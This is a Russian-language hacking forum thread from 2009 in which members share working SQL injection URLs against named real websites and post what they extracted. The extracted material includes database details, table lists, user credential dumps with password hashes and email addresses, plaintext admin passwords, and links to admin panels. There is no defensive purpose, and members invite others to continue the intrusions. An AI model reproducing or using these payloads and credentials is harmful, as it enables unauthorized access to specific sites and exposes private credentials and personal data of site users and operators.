SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    ПР5
    http://colesfrenchdip.com/ecard/getnewsitem.php?newsid=-10+union+select+1,2,version(),4,5/*
    4.1.20

    http://lnx.rosadesign.net/gcards/getnewsitem.php?newsid=1+union+select+1,2,concat_Ws(0x3a3a,userid,username,userpass,email),4,5+from+gc_cardusers--
    1::admin::08cd706ca61375c02a47b6ea26c66aba::email

    http://www.yosy.nl/gcards/getnewsitem.php?newsid=1+union+select+1,2,concat_Ws(0x3a3a,userid,username,userpass,email),4,5+from+gc_cardusers--
    4::admin::21232f297a57a5a743894a0e4a801fc3::email

    http://www.npac.org.hk/ecards/getnewsitem.php?newsid=1+union+select+1,2,concat_Ws(0x3a3a,userid,username,userpass,email),4,5+from+gc_cardusers--
    1::admin::42c533c57a1cde61c47fe293e72beea3::[email protected] - npnimda7
     
    1 person likes this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.er-ekeksiogluinsaat.com/ru/urunic.php?id=1'+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7/*

    4.1.22:ereksiru:ereksiru@localhost


    #####################################
    PR: 4

    http://www.opendoors.nl/content/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, conca t_ws(0x3a,version(),database(),user()),18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--&isocodeselect=er

    5.0.32-Debian_7etch8-log:dbcmsnl:nlsu@nas01
     
    _________________________
    #9302 HAXTA4OK, 15 May 2009
    Last edited: 15 May 2009
    2 people like this.
  3. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Энциклопедия вина>>
    Code:
    http://www.shai.dp.ua/enciclopedia/index.php?GID=-12+union+select+1,2,concat_ws(0x3a2a3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,0,1/*
    5.0.32-Debian_7etch5-log:*:shai:*:shai@localhost:*:pc-linux-gnu
     
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 5

    http://www.infopal.it/pagine.php?id=1'+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3/*

    4.1.20:infopal:infopal@localhost:redhat-linux-gnu

    @@version_compile_os - актуальНо писать?
     
    _________________________
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://rebeccaallen.com/v2/work/work.php?ID=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--
    rallen_user@localhost:rallen_db:5.0.45
     
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    PR4
    http://www.codexpert.ro/stiri.php?stire=23+UNION+SELECT+1,convert(concat_ws(0x3a,version(),database(),user(),@@version_compile_os)+using+latin1),3,4,5--


    Database Version: 5.0.67-community
    Database name: rcod5157_main
    User name: rcod5157_cilu@localhost
    Os: redhat-linux-gnu


    таблички выводятся все сразу...
    http://www.codexpert.ro/stiri.php?stire=23+UNION+SELECT+1,convert(TABLE_NAME+using+latin1),3,4,5+FROM+INFORMATION_SCHEMA.TABLES--
     
  7. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 5

    http://www.euro2009.it/service_page.php?Id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),datab ase(), user(), @@version_compile_os),7,8,9,10,11,12,13,14,15,16--

    5.0.32-Debian_7etch8-log:euro2009:euro2009@localhost:pc-linux-gnu


    http://www.euro2009.it/service_page.php?Id=-1+union+select+1,2,3,4,group_concat(concat_ws(0x3a,Login,Pa ssword )),6,7,8,9,10,11,12,13,14,15,16+from+A ccount+limit+0,1--


    blob:ceb6e01b385ce23118d4c3f618ccdfd7,makeda:2870f1453bd6f8e084af96b415530aba,sardox:2cb1bf043ff1f53f5d65389151294995,roberto:b47de98a3ec0d29b86e2461330fe2697,pamela:383d2e939b1926fbdcb6f8e4e5e66fd0,maura:b606578566756b27cf956f48ab5e69e6,carmen:b47de98a3ec0d29b86e2461330fe2697,s:,brujo:9f9bb489c4d76c2c50e9eca273d61d83

    ###################################################

    http://www.abcdtv.it/pagina.php?id=-1+union+sele ct+1,2,3,concat_ws(0x3a,version(),databa se(),user (),@@version_compile_os),5,6,7--

    4.1.22:abcdtv01:abcdtv01@localhost:portbld-freebsd6.2
     
    _________________________
    #9307 HAXTA4OK, 15 May 2009
    Last edited: 15 May 2009
  8. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    ПР8
    http://web.iyte.edu.tr/mechweb/research_areas/publications.php?id=-5+union+select+version()+from+information_schema.tables+/*+
    5.0.45
    Если кто дальше прокопает - пишите в пм
     
    1 person likes this.
  9. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ТИЦ: 80
    PR: 4

    http://www.color-it.net/news.php?id=111111+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7--

    4.1.22-log:wwwant_hostnet_colorit:anthost@localhost:portbld-freebsd6.2

    ###########################################

    PR: 4

    http://www.itemweb.it/index.php?load=work&id=-1'+union+select+1,2,con cat_ws(0x3a,version(),database(), user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13/*&lang=en

    5.0.32-Debian_7etch6-log:item:item@localhost:pc-linux-gnu

    ###########################################
    PR: 3

    http://www.teatrodelsuono.it/equipe.php?ID=-1+union+select+1,2,concat_ws(0x3a,version(),databas e(),us er(),@@version_c ompile_os),4,5,6,7,8,9--

    5.0.51a-3ubuntu5.4:teatro:web@localhost:debian-linux-gnu

    tables true : t_admins
    P.S. крутите сами

    #######################################
    PR: 5

    http://www.tass-it.ru/index.php?page=contacts&id=-1+union+select+1,versio n(),3,4--

    5.0.67

    tables:
    columns_priv,time_zone_name,procs_priv,help_relation,db,time_zone_transition,tables_priv,help_topic,func,time_zone_transition_type,time_zone,host,help_category,user,time_zone_leap_second,proc,help_keyword

    ###########################################
    PR: 4

    http://datahop.it/item_details.php?id=1+union+sele ct+1,2,concat_ws(0x3a,version(),database(),use r(),@@version_compile_os),4,5,6,7,8,9,10/*

    4.0.20-Max:datahop:[email protected]:pc-linux


    P.S. ЧЕЛОВЕК- ЭТО ЕСТЬ ОДНА БОЛЬШАЯ SQL'Я У БОГА (C)


    ########################################
    PR: 3

    http://www.altesino.it./en/vino.php?id=-1'+u nion+select+1,2,3,group_concat(table_name),group_co ncat(table_name),6,7,8+from+information_sc hema.tables+group+by+table_schema+limit+1,1/*

    5.0.37-community-nt:altesino:altesino@localhost:Win32

    tables:
    sessioni,testi,distributori,vini,utenti,news,premi

    P.S. ЖИЗНЬ КАК ИНТЕРНЕТ-ИНОГДА ЛАГАЕТ (C)

    #########################################
    http://www.intelli-it.de/intelli_it.php?id=-1+union+se lect+1,2,3,concat_ws(0x3a,versio n(),databas e(),user(),@@version_compile_os)--&lang=en

    5.0.32-Debian_7etch10-log:intelli_itde:intelli_itde@localhost:pc-linux-gnu

    #########################################
    PR: 3

    http://www.allacortedelvino.it/dettnews.php?id=-1'+union+select+1,2,concat_ws(0x3a ,version(),database(),use r(),@@version_c ompile_os),4,5,6,7,8,9,10,11/*

    5.0.27:allacortedelvino-it:allacortedelvino@localhost:redhat-linux-gnu

    #########################################
    PR: 4

    http://www.sprint-it.com/index.php?action=trainer&id=111111111'+union +select+1,2,3,concat_ws(0x3a,version(),database(),use r(),@@version_com pile_os),5,6,7,8,9,10,11,12,13/*

    5.0.45-log:0030_scrumeducations:[email protected]:redhat-linux-gnu

    ########################################
    PR: 3

    http://www.lupotto.it/descr_corso.php?id=-1+union+select+1,concat_ws(0x3a,version(), database(),us er(),@@version_compil e_os),3,4,5,6,7/*

    4.1.23-pro-gpl-log:lupotto_it_site:[email protected]:unknown-linux-gnu

    #########################################
    PR: 2

    http://www.my-it.info/internetsme_section.php?id=-1+union+select+1,concat_ws(0x 3a,version(),database() ,user(),@@ version_compile_os),3,4--

    5.0.51a-3ubuntu5.4-log:myit:myit@localhost:debian-linux-gnu
     
    _________________________
    #9309 HAXTA4OK, 15 May 2009
    Last edited: 15 May 2009
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.microbric.com {PR 5}
    Code:
    http://www.microbric.com/page.php?sId=-1+union+select+concat_ws(0x3a,version(),database(),user()),2/*
    4.1.22-STANDARD : MICROBR_IBOT : MICROBR_IBOT@LOCALHOST
     
    1 person likes this.
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.goldenstars.it/sk_stallone.php?id=-1+union+select+1,2,3,4,5,6,conca t_ws(0x3a,version(),database(),user(),@@version_compile_os),8 ,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52/*&lang=E

    5.0.32-Debian_7etch10:web2_db1:web2_u1@localhost:pc-linux-gnu

    #######################################

    http://www.assure-it.co.uk/jobs.php?id=19+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),da tabase(),user(),@@version_comp ile_os),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--

    5.0.18-nt:assureit:assure-it@localhost:Win32

    tables: users pages news jobs

    #########################################

    PR: 6

    http://www.ispionline.it/eng/school.php?id=-1'+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6/*

    4.0.14-standard-log:ispionline:ispi@localhost

    #########################################
    PR: 3

    http://www.valiani.com/accessories_detail.php?ID=1+union+select+1,2,3,concat_ ws(0x3a,vers ion(),database(),use r()),5,6,7--

    4.1.22-standard-log:valiani_com_db1:[email protected]


    PR: 5

    http://www.architetturadelmoderno.it/main.php?id=-1+union+select+1,2,3,4,5,6,7,versi on(),9,10,11,12 ,13--&lang=_eng

    tables:stop_words,autori,sito_menu_nav,log_query,indicazioni_stradali,tipologie,comuni,sottotipologie,nodi,info_nodo,tipologie_interventi,cronologie,specifiche,province,itinerari_speciali,utenti,cronologie_to_nodi_to_autori,specifiche_to_nodi,regioni,itinerari_speciali_to_nodi,files

    akk : utenti;

    http://www.architetturadelmoderno.it/main.php?id=-1+un ion+select+1,2,3,4,5,6,7,group_concat(concat_ws(0x3a,us er_id,p assword)),9,10,11,12,13+from+utenti+limit +0,1--&lang=_eng

    Administrator:56NwZdcnJggYm741BcS8eTJ5ch5fWF0F5jbGW/shUdg=,cbertelli:RWwfUvS0Vz4J4kmjdv2O5+yMZtEAz7yiQUpXTuyNXdk=,iguarino:tNABdYfYXBhMFkU9iu8rCH2vYSOYUk6gEFEeW3UOh3g=,rvecchiattini:j1M07vX2eDG0SkSG48wdxd8TlWeJu2tFBctp0ixxJuI=,lschiff:FJPd8Z6VLm+bh9Zip3o1ZnaWR4cObBi1a0qAVmJnqFo=,lmolinari:FZs7j78yEo2UmTB7Npbxv52P5gWK9e+5neDG5NJwJxI=,edonati:eek:BAM9PZsKa53CmDJ/PhMt9KJri6+b5/muTqKgnp2OdU=,cpirotti:iJpn2f0itUhvFSHUn83dTWt5mVIEVsk7NgxmeLPvurU=,mballabio:pZ/v1Q47ByMXwj7t589b0+QFUk7LnbrenVfitHQOGNI=,epiccoli:9zyKyzx+tNzPCaWIGa8W7uDJSYDP+i7xT0e6ud5Sfiw= :( ????

    http://www.architetturadelmoderno.it/admin/
     
    _________________________
    #9311 HAXTA4OK, 16 May 2009
    Last edited by a moderator: 16 May 2009
    1 person likes this.
  12. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.neiljenkins.com/opera.php?op=-1'+union+select+1,2,3,concat_ws(0x3a3a,id,password,email,level),5,6,7+from+users+--+&id=opera1

    http://www.enrd.org/publications.php?id=-3+union+select+1,2,concat_Ws(0x3a3a,tcuser,tcpass,email,tcid,tcname),4,5,6,7+from+tbltelecenter--
    rajukhanal::rainakhanal::[email protected]::1::Ghorepani Telecenter
     
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Pagerank: 5
    http://www.radiobucuresti.ro/stire.php?id=-631+UNION+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7


    Database Version: 5.0.67-log
    Database name: rb2
    User name: rb@localhost
    Os: slackware-linux-gnu
     
    1 person likes this.
  14. DeepXhadow

    DeepXhadow Elder - Старейшина

    Joined:
    19 Apr 2008
    Messages:
    57
    Likes Received:
    11
    Reputations:
    5
    Code:
    http://www.scenic-circle.co.nz/hotel.asp?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104+from+news
    Microsoft JET Database Engine

    Кто сбрутит таблы какие-нить кроме news и Hotels, отпишитесь :)
     
  15. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    www.ltefdonations.org

    Code:
    http://www.ltefdonations.org/user.php?id=-12+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7
    Версия - 5.0.75-community-log
    Юзер - ltefdona_collect@localhost
    БД - ltefdona_collector

    Юзеры (всего 93):

    Code:
    http://www.ltefdonations.org/user.php?id=-12+union+select+1,2,3,4,concat_ws(0x3a,username,password,email),6,7+from+users+limit+1,1
    Админка:
    Code:
    http://ltefdonations.org/admin/index.php
    
    Code:
    Name:minznerjosh
    Pass:gateway400
     
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.billiard-service.ru/lamp.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9
    [email protected]:h2artif_saites:5.0.45-community-log

    PR: 6
    amenez.phpnet.org
    Code:
    http://amenez.phpnet.org/Kam/volcano.php?id=11+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7
    [email protected]:amenez2:4.1.22-log
     
    #9316 mailbrush, 16 May 2009
    Last edited: 16 May 2009
    1 person likes this.
  17. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://chocoisland.ru/chocolate.php?id=11+and+null+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version())
    [email protected]:z92680_site:5.0.32-Debian_7etch6-log
     
  18. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    onixvisn10.com

    Code:
    http://onixvisn10.com/user.php?id=-12+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11
    Версия - 5 5.0.67-community-log
    Юзер - onixvisn_stfr1@localhost
    БД - onixvisn_stfr1

    Юзеры:

    Code:
    http://onixvisn10.com/user.php?id=-12+union+select+1,2,3,4,5,concat_ws(0x3a,User_nickname,user_passwd,user_email),7,8,9,10,11+from+users
    Code:
    Chuck Prickett:dcf24fe936aaf7ed828da2cef9901a60:[email protected]
    Админка:

    Code:
    Для начала нужно залогинится здесь - http://onixvisn10.com/login.php
    А потом заходить сюда -  http://onixvisn10.com/admin/
    
    Code:
    Email Address - [email protected]
    Password - 2resume
     
  19. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.usmcoc.org {PR 6}
    Code:
    http://www.usmcoc.org/event.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--
    5.0.67-community : vicom_usmcoc : vicom_usmcoc@localhost

    tables:
    Code:
    http://www.usmcoc.org/event.php?id=-1+union+select+1,group_concat(table_name),3,4,5,6+from+information_schema.tables--
    ------------------------------------------------------------------------------------------------

    http://www.fraudadvisorypanel.org {PR 5}
    Code:
    http://www.fraudadvisorypanel.org/newsite/events.php?id=3+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13--
    4.1.22 : fap_events: [email protected]

    table users:
    Code:
    http://www.fraudadvisorypanel.org/newsite/events.php?id=3+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+users--
    username : password
    fap:apw4fap
    testuser:testpword
    Tamaryn:michael
    MiaCampbell:Molly74

    http://www.fraudadvisorypanel.org/newmembers/login.php

    ------------------------------------------------------------------------------------------------

    http://www.monroenc.org {PR 5}
    Code:
    http://www.monroenc.org/events.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9--
    version() - 5.0.67
    database - monroenc
    user - monroenc@localhost
     
    #9319 Skofield, 16 May 2009
    Last edited: 17 May 2009
  20. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR6
    Code:
    http://www.gaston.umb.edu/publications/pub_overview_demography.php?id=-99999'+union+select+1,2,concat_ws(0x3a,user,password)+from+mysql.user/*
    Database Version: 4.1.21-standard
    Database name: gaston_db
    User name: [email protected]

    root:00c8bef335a35d31
     
    1 person likes this.
Thread Status:
Not open for further replies.